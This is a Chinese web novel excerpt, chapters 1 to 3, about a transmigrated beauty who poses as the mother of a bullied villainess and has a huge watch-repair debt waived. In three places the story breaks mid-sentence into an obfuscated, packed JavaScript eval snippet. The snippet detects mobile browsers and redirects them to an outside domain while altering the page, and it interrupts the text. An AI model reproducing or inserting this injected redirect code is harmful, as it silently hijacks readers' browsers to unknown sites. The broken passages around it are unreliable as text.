《女配她妈美颜盛世》 1. 第 1 章 “系统,还有多久才能到女配的学校啊?我的脚好痛。”一句抱怨声响起。 这道声音娇柔而动听,还因为劳累而略显无力,柔得直接搔到人心坎上。 “马上就到了!”一道机械音回应道。 系统666忍不住在心里偷偷吐槽:这宿主也太娇气了,才走了这么一小段路就抱怨。 感觉是个很难搞的麻烦精……要不是实在没办法,他真不想绑定这么个新手菜鸟! 如此想着,666满心忧虑地发布任务: “宿主姜以柔,你在原来的世界已经意外身亡,现被女配拯救系统666绑定,穿来此小说世界做任务。” “这是一本名为《霸道校草狠狠宠》的校园言情小说,可惜书中女配姜渔怨气太深,她黑化后害死了主角团,导致小世界崩溃。” “你目前的身份是恶毒女配姜渔的妈妈,而你的任务就是拯救黑化的女配姜渔,也拯救崩坏的剧情线,使其达成原著里的圆满甜蜜结局。” “目前恶毒女配姜渔的黑化值为50%,你只有努力将女配的黑化值清零,才可以在这个世界真正获得新生!” 喜当妈的姜以柔眨了眨眼睛,显得很无辜:“可是……我没有当过妈妈啊。” 系统666有些心虚,但还是故作镇定道:“没事,很容易就学会了。” 没办法啊,666把剧情翻来覆去看了好几遍,才勉强选出一个适合救赎女配的“身份”,而且由于女配亲妈早就意外去世尸骨无存,他只能让任务者姜以柔身穿来这个世界了。 按理说不可以身穿的……但应该问题不大。 系统666心大地想道。 但他不知道的是,未来的他会因为这次小小的松懈而无数次怀疑人生。 后来的666看着脱缰野狗般的剧情线,整个统欲哭无泪,疯狂地给上级发投诉信—— 请立刻给人工智能系统加入颜值评判功能! 颜值爆表的人不准穿成炮灰啊啊啊啊——!!! 此时的666完全预见不到自己未来的抓狂,正苦口婆心地跟新宿主说着注意事项。只不过姜以柔全程只心不在焉地打量周围的环境,似乎完全没将所谓的女配任务放在心上。 系统没有察觉到她的走神,尽心尽力地为她讲解剧情。 “这是一本甜宠校园文,男主是嚣张肆意的校霸,女主是乖巧善良的学霸,两人不仅性格互补,更难得是家世也差不多,堪称天作之合!” “故事开始于高二刚开学,女主家原本是港城的豪门,今年刚来到S市发展,女主就转学到了圣维尔学院。由于男女主的长辈互相认识,就拜托男主照顾一下女主……” “男主一开始很不耐烦,但慢慢地被温柔善良的女主打动,两人最后一起考上了名牌大学,从校服到婚纱,一生圆满!” “而你现在的‘女儿’姜渔,她在女主转学过来第一天就屡屡针对她,男主为了保护女主也与她针锋相对……” 说着说着,666情绪激动起来:“宿主,眼下正值一个关键剧情点——姜渔和女主争执间,姜渔不小心撞翻了男主的桌子,从而摔坏了男主的手表。” “男主此时虽然没有喜欢上女主,但看在长辈的面子上不会眼看着她被欺负,于是就要求姜渔赔偿手表的修理费,足有100万!” “而这笔负债,将会使她的黑化值陡然增加至80%!” “所以,你现在必须尽快赶到女配的身边,帮她解决这个麻烦,让她感受到母爱的温暖……总之就是阻止她黑化值增加就对了。” “唉,宿主,说起来很对不起你,为了阻止女配黑化,你大概要帮她还这100万了……”666心虚地说道。 闻言,姜以柔意外地眨了眨眼睛,“还钱?” 随即她意味不明地轻笑了一下,什么都没说。 姜以柔不紧不慢地朝目的地走着,悠闲地打量周围的环境,四周十分安静,路上也只有她一个人。 过了一会儿,有个骑行的青年从马路对面慢慢靠近,就在与姜以柔擦肩而过的一瞬间,青年不经意地转头瞥了一眼。 只这一眼,青年脸上的表情就凝固了。他瞪大双眼,嘴巴不自觉睁开,一副傻愣愣的模样。 他的眼神像是带了钩子似的,粘在姜以柔的脸上一动不动,表情一片恍惚,如坠云端。 骑车时分神的后果就是——他忘记了转弯。 下一秒,“砰”的一声响,人仰车翻。 青年“哎呦”痛叫一声,直接“翻车”摔在了地上,痛得他蜷缩起身体。 可哪怕是趴在地上,也不影响他伸长了脖子去看姜以柔,那眼神里是浓浓的惊艳与痴迷,仿佛看到了世间最美好的事物。 他摔倒的动静把姜以柔吓了一跳,她下意识地回头看了一眼,弄清楚状况后,不以为意地转头离开了。 她不知道,青年正因为她这回眸一眼而激动到颤抖,几乎连呼吸都停滞了。 可惜这片刻的垂怜终是惊鸿一瞥,姜以柔转了个弯,他就再也看不到了。 姜以柔根本没把这个小插曲放在心上,专心赶去女配姜渔的学校。 系统666有些迟疑地问道:“宿主,刚才那位男士似乎需要帮助,咱们要不要……” 姜以柔摆了摆手,随意地说道:“不要,跟我又没关系。” “再说了,万一他赖上我怎么办?好麻烦的。”姜以柔小声嘀咕道。 对于她的决定,666不做评价,只是心悄悄凉了半截。 他的这位宿主……好像是个很冷漠的人。 这样一个没心没肺的人,她真的能扮演好妈妈的角色吗?真的能用爱感化女配吗……666不由得有些心虚。 * 夕阳西下,正是放学时间,圣维尔国际学校敞开厚重高大的校门,一大群高中生如出笼的鸟儿般涌出校园,空气里都是青春的气息。 很快,校园里就没什么人了,只剩下零零散散的学生。 在大家以为平静的一天就这样结束了时,平地起惊雷,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155850|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条重磅消息迅速在留校的几个学生间传播开来—— “卧槽!大新闻——特优生闯大祸了,现在已经被抓去校长办公室了!”一名男生风风火火地跑来,兴奋地对几个滞留在校的同学说道。 这男生在说到“特优生”时故意拖长了声音,显出几分阴阳怪气的恶意。 “特优生?哪个特优生?”有人疑惑地问道。 “还能是谁?最讨厌的那个呗,姜渔!”传来八卦的男生不屑地嗤道。 圣维尔国际学校作为国内顶尖的私立高中,里面的学生非富即贵,被戏称作“贵族高中”。 当然也有例外。如果你成绩足够优异,可以被特招进圣维尔,不但学费全免,每学期还有丰厚的奖学金。 这就是特优生。 特优生一般都是普通家庭出身,与圣维尔学院里的勋贵子弟有着天堑之别,是比较受漠视和排挤的存在。 而这几个男生口中的“姜渔”,情况更加特殊——她比一般的特优生更不受欢迎。 “哦哦,就是成天板着一张死人脸,从不拿正眼看人的那个?” “对啊,就是她!刚开学的时候我还觉得她挺漂亮的呢,结果……我特么跟她搭话,她竟然喊我滚!真不识好歹……所以,她闯什么祸了?” 最先传来八卦的那个男生满脸的幸灾乐祸,他眉飞色舞地描述道:“特优生也是不长眼,竟然敢欺负乐柠!乐柠虽然刚转学过来,但谁不知道麒哥罩着她?” “她不仅欺负乐柠,还把麒哥桌上那块手表弄坏了,这下麻烦可大了哈哈哈哈哈……” “麒哥的表……我靠,不会是那块绝版的百达翡丽吧?!她赔得起吗?” “姜渔那个穷鬼怎么可能赔得起?如果她还不起钱的话,该不会要坐牢吧?” “坐牢不一定,但估计会被退学吧哈哈哈……” “那可真是太好了,我看见她那副穷酸样就心烦,她要是能滚蛋,咱们学校的空气都能清新一点……” …… 几个含着金汤匙出生的少爷小姐凑在一起,兴致勃勃地讨论着发生在特优生姜渔身上的“惨案”,语气里是满满的幸灾乐祸。 就在这时,他们身后传来一道轻柔的嗓音。 “请问……你们说的那位姜渔同学,现在在哪里?可以带我去找她吗?” 闻言,几个学生都烦躁地皱起了眉头,很不高兴被人打扰了八卦的性质。 最先传播八卦的男生脾气最大,他一边回头看向来人,一边骂骂咧咧地怼道:“你算什么人啊,敢使唤小爷给你带路……” 话音未落,男生的声音戛然而止。 他扭着脖子,直愣愣地看向身后的人,以一种极其搞笑的姿势僵在了原地。 可是他已无暇顾及自己酸痛的脖子,他甚至忘记了周遭的一切,就这么僵直着身子,表情呆滞出神。 他眼里心里都只剩下眼前的人。 这个突然出现的女人…… 美得让他怀疑自己是否还在人世间。 2. 第 2 章 年轻的男孩活了十六年,第一次对“绝色”这个词有了具象化的概念。 他不知道该如何形容眼前这女人的美貌,总觉得诸如“倾国倾城”、“沉鱼落雁”、“闭月羞花”之类的成语,放在她身上都显得俗不可耐。 若真要形容的话,她就像是明月初悬时洒落的那抹月光,遥不可及,却一眼荡魂,让人永生难忘。 男高中生傻傻地望着女人发呆,他周围的同学也不遑多让,一个个险些把眼珠子瞪出来,满脸被美貌震撼的惊艳。 女人似乎早已习惯了他人痴迷的注视,只平静地追问道:“小同学,可以带我去找姜渔吗?” 她抬手,轻轻挽起耳边的一缕碎发。 纤长白皙的手指勾着浓黑的发,如此纯粹的颜色,竟莫名碰撞出惊人的艳色。抬手间,一缕幽香暗暗浮动,隐晦地撩人情思。 而那一声柔柔的“小同学”更像带了钩子似的,惹得男生的脸瞬间红了一片。 “好……好、好!我带你去!” 男生恍恍惚惚地往前走,脚步虚浮,还总是忍不住回头看那女人,导致他不小心被绊了一跤,差点摔个狗啃泥。 他那些向来爱互相挖苦的损友们,此时却无心嘲讽他的窘态,因为他们也没比他好多少。 明明只需要一个人去带路,但这四个人不论男女都不约而同地跟了上去。 每个人的眼睛都不由自主地黏在这突然出现的美丽女人身上,舍不得移开半分。 终于有个胆大的女孩子忍不住问道:“姐姐,你叫什么名字啊?” 女孩星星眼地看着她,面上是纯然的惊叹,她几乎要溺毙在这张盛世美颜里了! 纵然身边围了一群热情如火的高中生,女人却没有分给他们一个眼神,她漫不经心地打量着贵族学校里处处奢华的装潢,随口应付道:“姜以柔。” 见姜以柔终于搭腔了,其他人顿时胆子大起来,七嘴八舌地说道:“姐姐,你长得真好看……” “你为什么要去找姜渔啊?” “你们俩都姓姜,是亲戚吗?” 闻言,姜以柔脚步微顿,神情也变得有些怪异,半晌才轻声道:“我们……算是亲戚吧。” 高中生们对视一眼,面上都闪过一丝心虚——大概是想到了不久前对姜渔的恶意。 “亲戚啊……是姐姐吧?就是不知道是不是亲姐。”有人小声嘀咕道。 “姜渔居然有个这么漂亮的姐姐?她咋不早点说啊,真是的……”有人满脸懊悔地嘟囔道。 姜以柔对他们的怪异神色视若无睹,只微笑着追问道:“你们能跟我说一下姜渔的情况吗?” 话语刚落,四周霎时安静下来。 高中生们面面相觑,表情僵硬得说不出一句话来。 过了好一会儿,才有人支支吾吾地开口道:“特优……呃,姜渔同学,她……她成绩很好。” 有了一个人打破了沉默,很快又有人继续接话:“对对对,姜渔同学学习好,人也勤奋!” “是啊,我们都很崇拜她的!” “姐姐,我跟姜渔是一个班的同学,要不咱们加个微信吧,以后你再找姜渔的话我可以帮忙转达……” “我也和姜渔是同学,我也想加……” “还有我……” …… 一群高中生眼巴巴地盯着姜以柔,面上满是对她联系方式的渴望。 此时此刻,他们谈论起姜渔时,再也不是那含着嘲讽之意的“特优生”“穷鬼”“乡巴佬”,反而成了个品学兼优的好同学。 前后态度差距之大,令人咋舌。 在疑似姜渔姐姐的大美女面前,他们十分默契地抛下了面对特优生的傲气,殷勤热情得像一群小狗。 对于这些热情的追逐,姜以柔显得格外平静。 她似乎习惯了这样的追捧,能够很熟练地无视他们,她没再回应什么,只默默地往前走。 这群少爷小姐素来心高气傲,面对老师时也有七分不服气,此时被明晃晃地无视,却没有丝毫不满,依旧亦步亦趋跟着她。 甚至忘记他们该回家了。 满心满眼都是对大美女的向往。 姜以柔就这样被簇拥着往校长室走去,任由周围那些活泼的高中生绞尽脑汁地找话题,她都一副兴致缺缺的样子,基本上不做回应。 而666默默注视着这诡异的一幕,心里深感不对劲:姜渔的同学不应该排挤欺负她吗?怎么会……如此大力夸赞她呢? 这刚一开始剧情线就有点偏了,不妙啊! 可是……到底为什么呢?! * 校长办公室,气氛一片沉凝。 衣冠楚楚的中年男校长坐在办公桌前,默默地看着桌上那块屏幕碎裂的手表,心痛得嘴角微微抽搐。 这款百达翡丽他想买都买不到,竟然就这么摔坏了……虽说只是表盘碎裂,还可以修好,但也足够让人肉疼了。 下一秒,他又想起了这只手表的主人……张校长缓缓擦了擦脑门上的冷汗。 他望向姜渔的眼神里多了丝无奈,“哎,姜渔同学,你怎么能做出如此不理智的事情呢……” 张校长头疼地揉了揉眉心,内心里更是对姜渔有些失望。 姜渔是他亲自挖来圣维尔的特优生,他一直对她抱有很高的期望,希望她能在两年后的高考中一鸣惊人,为学校争光。 在高一那一年中,姜渔的成绩果然无可挑剔的优秀,虽然她似乎与同学们处得不太好,平日里总独来独往,但也算省心。 谁知高二刚开学,从乐柠转过来的那一刻起,一切就都不对劲了。 姜渔对乐柠没由来地有恶意,明明乐柠主动向她示好,可姜渔却公然恶语相向…… 今天更是不知道吃什么枪药了,竟然想抢乐柠的东西。幸亏乐柠朋友多,没吃亏,反而是姜渔没落得好,被乐柠的朋友推倒了。 姜渔不光自己受了伤,还撞翻了方镜麒的桌子,他书桌里的手表也就摔坏了…… 脑海中浮现出一个染了白毛的桀骜少年,想到他天不怕地不怕的凶戾性格,再想到他那令人胆寒的家庭背景……张校长流的汗多到需要用手帕擦了。 沉凝的氛围下,一个女生愤愤不平地叫嚷道:“张校,姜渔不仅欺负乐柠,还弄坏了方少的手表,您必须好好教训她,把她开除!” “可不能因为她成绩好就包庇她!” 在她的旁边,有个清秀甜美的女生,她轻轻扯了扯好友的袖子,似乎不想太过咄咄逼人。 她叫乐柠,也就是被姜渔针对的苦主。 乐柠拉住为她出头的好友,皱眉看向姜渔,她倒是没有特别愤怒,只是望向姜渔的眼神里满是不解。 她自认为没做错什么,可姜渔为什么对她有如此大的恶意呢? 在她们的对面,就是那个引起公愤的女配姜渔。 姜渔的眼睛很大也很黑,里面透出与年龄不符的冷漠,使得她整个人的气质略显阴郁。 看得出她的五官很漂亮,可惜她瘦得有些脱相,折损了一些美貌。 她扎了一个简单的马尾,身上穿着洗得发白的校服,穿衣打扮上无一不贴合特优生窘迫的经济情况,与对面两个处处精致的女生截然不同。 顶着众人或失望或愤怒的眼神,姜渔苍白的脸上是一如既往的冷漠。 她薄唇紧抿,一个字都不肯说,根本懒得回应他们的质问。 这副无所谓的态度更是激怒了乐柠的朋友,那个叫林子悦的小女生指着姜渔就是一通叱骂,气得脸都红了。 “行了!”张校长不耐烦地喝止了她的吵闹。 张校长面色沉凝,良久才叹气道:“这件事……关键在于这块表的赔偿,还是得问过方镜麒的意见才能决定。” 听到“方镜麒”这个名字后,林子悦下意识地缩了缩脖子,总算不敢闹腾了,她似乎对此人十分忌惮。 她小声咕哝道:“方少今天又没来学校……” 张校长指了指手机,“我之前就通知他来了。” 也就说,再过一会儿,方镜麒就会出现在这里。 想到此处,乐柠眼神微动,不自觉地扯了扯衣摆,面上有种少女的羞涩。 过了一会儿,楼下若有似无地响起一阵机车的轰鸣声,很快如雷声般迅速逼近,震得人心脏都在鼓噪。 张校长叹了口气,脸上有种即将面对煞星的淡淡死意,“他来了。” 果然,三分钟后,校长室的门被人一把推开,一个身穿黑色机车服的身影出现了。 来人身材修长,挺括的机车服勾勒出他结实有力的肌肉线条——不似成年男性那般厚重,带着少年人独有劲瘦矫健。 他单手持着头盔,露出一头染成银白色的发,格外惹眼。 如此显眼的发色,竟还比他的五官逊色几分。 那张脸精致俊美,堪称上帝的得意之作,更出彩的是他的眼睛。 一双狭长的凤眼仿佛用毛笔一笔一笔绘出,睫羽浓密,眼瞳漆黑,浓墨重彩,好看得近乎昳丽。 这样好看的一张脸,却没几个人敢盯着看。 只因为他的气场实在太过凌厉,眉眼一压,凤眸的眼尾勾起一个锋锐的弧度,便透着股惊人的气势。 他径直走进校长室,大马金刀地坐在待客的沙发上,连校长都视如无物。 方镜麒随手将汗湿的额发捋到脑后,竟然毫不避讳地点了支烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155851|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他大概是飙车玩累了,自顾自吐了几口烟,才懒洋洋地问道:“找我干嘛?” 从他进门开始,校长室里便鸦雀无声,所有人都只敢偷偷觑他。 张校长额角青筋直跳,几乎把手里的笔掰断,他深呼吸几次,沉声喝道:“方镜麒,你简直太不像话了!赶紧把烟掐了!” 片刻后,方镜麒竟然真的把烟掐了——主要是那只烟已经抽完了。 而且,他竟然直接将烟头摁在了梨花木桌面上,把张校长心疼得直抽抽。 这个叫方镜麒的男生,放肆得简直把校长室当成了自己的卧室,更是没把一校之长放在眼中。 张校长心累了,决定赶紧说正事,争取早点把这位祖宗打发走。 他把事情简单说了一下,然后冲他展示了下那块屏幕碎裂的百达翡丽,“这件事你想怎么处理?” 方镜麒凤眸斜睨,目光落在那块表上,顿时皱起了眉头。 众人瞬间屏住呼吸,以为这位煞神马上就要发火了。 然而他说的话却让人又是一愣,方镜麒有些烦躁地说道:“就为了这点儿破事叫我回来?” 方镜麒拎着头盔起身,长腿一迈便要离开:“手表随你怎么处理,以后少烦我。” 张校长:“……” 七位数的百达翡丽有这么不值钱吗?! 乐柠愣愣地看着这个放肆张扬的男生,久久没有反应。 她的好朋友林子悦心里一急,忍不住大声说道:“方少,是姜渔把你的表弄坏的!而且,她……她还欺负乐柠!” 眼见着方镜麒脚步不停,林子悦更急了,“乐柠的父母可是拜托你照顾她的,你怎么能任由她被人欺负呢……” 林子悦越说声音越小,脸色也苍白起来。 因为方镜麒已经停下了脚步,他转过身,双眸微眯,冷冷地睨着她。 那双狭长的凤眼实在太有压迫感,将林子悦那一腔为朋友出头的热血直接冻成了冰。 乐柠赶紧挡在林子悦身前,故作镇定地微笑道:“方同学,你去忙吧,我这边没事的。” 方镜麒剑眉微拧,似乎在努力回想着什么,好像是有这么一回事……他二叔让他看顾下生意伙伴的女儿。 他有些烦躁地啧了一声,其实很不爱管这些事,但来都来了…… 方镜麒目光微转,落在了姜渔的身上,随口说道:“既然这样,你赔钱吧。” 话音刚落,姜渔身体微僵,垂在身侧的手猛地捏成了拳,指甲几乎嵌入掌心。 张校长顿时急了,“哎,方镜麒……” 刚才方镜麒都不打算追究这件事了,可就这么几句话的功夫,姜渔竟然背上了七位数的欠款! 她哪里还得起啊! 乐柠也有些无措地迈前一步,似乎想劝说几句。 但方镜麒已经彻底没了耐心,干脆利落地转身就走。 对于他来说,一块表不算什么。 可他一念之间,却能将姜渔推入深渊。 姜渔低首垂眸,没人看得清她的神色,只是她的身体在微微颤抖。 另一边,666心生感应,发出尖锐爆鸣:“啊啊啊!宿主你快点!姜渔的黑化值已经窜到80%了!” * 方镜麒还没来得及离开,校长室的门再次被推开了,而且一下子涌入了好几个学生。 张校长被吓了一跳,随即黑着脸训斥道:“你们来这儿干嘛?都放学了,还不赶紧回家!” 张校长在学生中还是很有威信的,可奇怪的是,今天这几个学生似乎都没把他放在眼里。 每个人的脸上都有种压抑的激动,一双双眼睛亮闪闪的,还有种如坠梦中的恍惚感—— 他们像是看见了什么珍宝一般,正处于极度兴奋的状态。 为首的男生刚想往里冲,抬头却看到了方镜麒的脸,顿时吓得清醒了。 几个人将门堵得死死的,难怪方镜麒的脸色那么难看。 为首的男生下意识地向后瞟了一眼,很快又克制地转回了头。 然后他竟在方镜麒冰冷目光的注视下,硬撑着说道:“张校,有一位……女士来找姜渔同学,我们就带她过来了。” 张校长愣了愣,“找姜渔?” 谁啊? “她是姜渔的……亲戚。”男生挠了挠头,嘿嘿笑着补充道。 有自认为聪明的学生补充道:“是姜渔她姐姐!” “对对,没想到姜渔她姐这么漂亮……” “诶诶,你们别挤啊,快给姜姐姐让条道儿啊!” 众人议论纷纷间,终于想起应该给到访的客人让一条道。他们你推我搡,终于让身后的人站在了校长的面前。 3. 第 3 章 闻言,张校长心里不由得犯嘀咕,姜渔的姐姐来找她? 姜渔不是跟着外公外婆生活吗,没听说她有个姐姐啊…… 当张校长看清那个缓缓走近的人影时,他浑身一震,整个人都僵住了。 “你好。”来人清凌凌地站定,嗓音婉转如莺啼,“我找姜渔。” 张校长向来爱端着架子。此时此刻却直愣愣地瞪着眼睛,毫无形象可言。 这个女人……实在美得出奇,美得像是一场梦。 纤柔窈窕的身材,凝脂般的肌肤,巴掌大的小脸上,每一处五官都像是上帝精心雕刻的艺术品。 单看脸已经足够动人,那眼波流转间的风韵更是如同画龙点睛的那一笔,让她的美更加摄人心魄。 美人在骨也在皮,更在于神韵风情。 像眼前人这般外貌和风韵都美到极致的,当是人间难寻的绝色。 张校长愣了好一会儿,蓦地回神后,整张脸都涨红了。 他十分刻意地挺直腰板,还慌忙地理了理头发,他努力表现出得体的模样,哪里还有什么校长的威严。 如果要准确地形容他的状态…… 大概就是个在女神面前手足无措的毛头小子,还有种自惭形秽的紧张。 张校长搓了搓手掌,轻咳一声问道:“这位……这位女士,请问你找姜渔同学有什么事吗?” 姜以柔浅浅一笑,那一瞬间周围甚至响起了好几声倒抽冷气的声音。 她还没来得及说话,就被一抹白色晃了眼睛。 方镜麒扬手一抛,沉重的头盔在空中划过一道抛物线,竟精准地落在了沙发上。 他头也没回,几步走上前,很强势地把张校长挤到了一旁。 他微微垂首,一改方才的漫不经心,一双凤眸紧紧地盯着这个突然出现的女人,眨也不眨。 “你是谁?”方镜麒选择性地忽略了女人是为姜渔而来的,他直勾勾地盯着对方,直接问出了心中所想。 那灼灼的眼神,像只锁定了猎物的小豹子。 姜以柔仰头看着他,在他那头显眼的白毛上多看了两眼,很快又轻飘飘地移开视线,并不回应他。 姜以柔微微侧头望向他身后,准确锁定了某个瘦小的身影,果断绕开他往前走去。 经过他身边时,姜以柔黑发微扬,几缕发丝蹭过方镜麒的小臂,好像直接蹭过了他心口,带着阵阵难以遏制的悸动。 方镜麒清晰地嗅到了一股香气。 一种隐晦却缠绵的幽香,勾得他喉头微痒。 方镜麒身随心动,在她擦身而过的一瞬间,反手抓住了她的手臂。 他喉结微滚,居高临下地盯着她,强势追问道:“你还没回答我的问题。” 少年手指修长,本来力气就大,下手又没轻没重的,姜以柔只觉得手臂微痛,下意识地皱起了眉。 不知为何,从未在乎过什么的方镜麒,在看到她蹙起的秀眉时,条件反射般松了手。 姜以柔不想在无关的人和事上浪费时间,她抓住机会挣脱开,径直走到低着头的姜渔面前。 在她身前站定后,姜以柔不动声色地打量着书里的恶毒女配。 片刻后,她深吸一口气,脸上随即浮现出浓浓的惊喜之色。 虽然表情有些浮夸,但任谁看了那张灼若芙蕖的脸,都会为她的温柔而心动。 “小渔,我终于见到你了……”姜以柔怜爱地拉起她的手,声音柔得都快滴出水来了。 姜以柔在凭自己的理解,努力扮演好妈妈这个角色。 所有人的目光不约而同地盯住姜渔的手……眼神中爆发出恨不得取而代之的嫉恨。 姜渔后知后觉地看向这个突然出现的女人,第一眼同样是被她的美貌晃了神,但她很快就警惕地抽回了手,用审视的目光盯着她。 姜以柔恍若未见,极其自然地关心道:“小渔,你怎么在校长室啊?是出什么事了吗?” 最后一句,姜以柔是看着张校长问的,张校长不自觉挺起胸膛,想要开口时却又有些心虚。 张校长定了定心神,简洁迅速地将事情都说了一遍,最后他为难道:“关于姜渔欺负乐柠的事,乐柠倒是说不追究了……” 话落,姜以柔极其自然地将目光转到了乐柠的身上,大大方方地打量着书里的女主。 乐柠从刚才起就直勾勾地看着姜以柔发呆,此时猝不及防间与她对视,瞬间涨红了脸。 乐柠的衣角都快被她扯烂了,红着脸支支吾吾道:“那个,没事的,我不怪姜渔同学,姐姐你不用担心……” 她越说声音越小,但“不怪姜渔”绝对是肺腑之言! 看着姜以柔这张神颜,谁还气得起来啊! 姜以柔冲她展颜一笑,柔声道:“那真是太感谢你了,我替小渔跟你道歉……” 乐柠浑身一震,有种飘飘然的感觉,不自觉露出傻笑,“嘿嘿,没事没事……” 旁边,方镜麒眉头微皱,有些不悦地瞪了乐柠一眼。 为什么她对自己没有好脸色,对这个女生倒笑得那么温柔?真碍眼…… 张校长紧接着说道:“除此之外,还有姜渔同学摔坏了方镜麒的手表一事……” 张校长指了指方镜麒,无奈道:“方镜麒要求姜渔做出赔偿,保守估计也要赔一百万。” 说着,张校长都不忍心了。 为什么要让一个柔弱美丽的女子承受这些啊! 顺着张校长的示意,姜以柔转身看向方镜麒,不由得挑了挑眉。 原来这个冒冒失失、手劲儿很大的白毛就是书中男主啊。 嗯,符合她对校霸的刻板印象。 当姜以柔的目光投来之时,方镜麒浑身紧绷,一双黑眸灼然发亮,全是兴奋的光芒。 他一步一步朝姜以柔走近,皮靴磕在地上发出清脆而有节奏的声响,高大的身形逐渐逼近,几乎将姜以柔面前的阳光全挡住了,极有压迫感。 “这位……姐姐。”这个称呼在方镜麒喉中滚了几番,终于说出时,刻意压低的声线显出几分暧昧。 “姜渔确实欠我一百万……”方镜麒紧紧盯着她,一字一句轻声问道,“你要帮她还吗?” 说完,他再度往前迈了一步,与姜以柔之间的距离再度拉近,近到几乎可以感受到彼此的体温。 强势的动作中野心昭然。 你要帮她还吗? 话音一落,全场寂静。 姜以柔仿佛察觉不到方镜麒那藏都不藏的侵略意味,竟泰然自若地点了点头,“嗯,我帮她还。” 方镜麒眼神微动,默默盯着她看了一会儿。 良久,他唇角微扯,露出一个放肆的笑意,“算了,钱不用你还,就当……交个朋友吧。” 说完,方镜麒掏出手机,直截了当地递到姜以柔面前。 他下颌轻扬,意思很明显——用你的联系方式来抵这一百万吧。 姜以柔轻声叹了口气,眉眼间浮现一抹清愁,“不行,这钱我必须得还。” 其他人闻言都不由得深深动容了——天呐,她不光长得绝美,灵魂竟也如此高贵! 实在太令人心折了! 乐柠握紧了拳头,激动得呼吸都急促了几分,她抬脚跨出一步,几乎要大吼:我来帮她还钱!不要为难她! 方镜麒则挑了挑眉,很快便顺着她的话答道:“既然你非要还,那就少还一点吧,那只表修修还能用,就意思意思给个一万……” 方镜麒话音未落,姜以柔的身形竟晃了晃,她捂住胸口,一副生命无法承受之重的模样。 方镜麒赶紧伸手去扶她,不过不等他触碰到她的身体,姜以柔就自己站定了,还顺势后退两步与他拉开了距离。 但姜以柔的脸上仍是显而易见的为难与感伤,“一万么……” 美人盈泪,尤为动人。 更何况是姜以柔这样人间难寻的绝色。 方镜麒这种未经人事的少年更是毫无抵抗之力,他果断改口道:“我是会员,修理费还能打折,你给一千……” 眼见着姜以柔脸上的愁色丝毫没有减少,方镜麒只能试探着继续降价,“一百块?” 在方镜麒的世界里,很少有“万”数以下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155852|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消费,他甚至对一百块有多少没什么概念。 这次,姜以柔脸上的郁色终于褪去,她抹了抹眼角的泪珠,绽开一个美得令人心醉的笑容,“好的,就一百块!” 姜以柔一改方才病恹恹的林黛玉模样,干脆利落地转头问张校长:“您能借我一百块吗?” 张校长愣愣点头,掏出一百块递给她。 这一百块都没在姜以柔手里捂热乎,就被她无缝衔接地递给了方镜麒,“给。” 她将一百块塞进方镜麒的手中,想要抽手离开时,却被他猛地反握住。 方镜麒捏着手里那柔弱无骨的柔荑,浑身的血液都几乎沸腾了。那双凤眼紧紧锁住她,强势得不容抗拒。 “姐姐,修理费我都给你打折了,我们也算是朋友了吧?” 姜以柔试着抽手,结果纹丝不动,她心里暗骂这小子一股牛劲儿,脸上却笑得温和:“当然。” “那……”方镜麒又将手机在她面前晃了晃,意思很明显,且不容她拒绝。 姜以柔若有所思地眨了眨眼睛,突然笑着说:“好啊,你松手,我给你联系方式。” 方镜麒眸光一亮,迫不及待地把手机递给她。 姜以柔却说:“我没带手机,联系方式就写给你吧。不过,在这之前,你还得写个东西。” 姜以柔问张校长借了纸和笔,埋头一通写,然后微笑着递给方镜麒,“你看一下,如果没问题的话,就签一下名吧。” 方镜麒心有疑惑,接过纸张一看,顿时有些无奈。 这是一份证明,说今天已经付清了方镜麒手表的修理费,这件事到此为止。 方镜麒不甚在意地签下了自己的名字,姜以柔还特意跟张校长说,让他帮忙做个见证,然后才把这张纸慎重地收好。 接着,她又撕了张纸,挥笔写下了自己的联系方式。 方镜麒看着纸上的这串数字,满意地舒展了眉心。 “没什么别的事的话,我先带小渔回家啦。”姜以柔迫不及待想离开这个是非之地。 校长:“……好的。” 方镜麒倒是有心想拦,但他捏着那张联系方式纠结片刻,还是没再纠缠。 算了,来日方长。 姜以柔不去管周围各式各样的目光,她只拉着姜渔的手,想带她离开这里,而姜渔就像个木偶似的任她动作。 姜渔从刚才起就懵了,她愣愣地看着这个突然出现的漂亮女人,实在想不到事情会这样发展。 刚才还像座山一样压在身上的一百万债务……就这么用100块解决了?! 跟姜渔一样懵逼的还有系统666,他抓狂地在姜以柔脑子里大叫:“啊啊啊!一百万的债务怎么莫名奇妙变100块了!这个男主怎么跟有病似的?!” “咦,等等!姜渔的黑化值降回50%了……那没事了。” 虽然剧情有点诡异,但姜渔不再黑化就是好事……666如此安慰自己宽心。 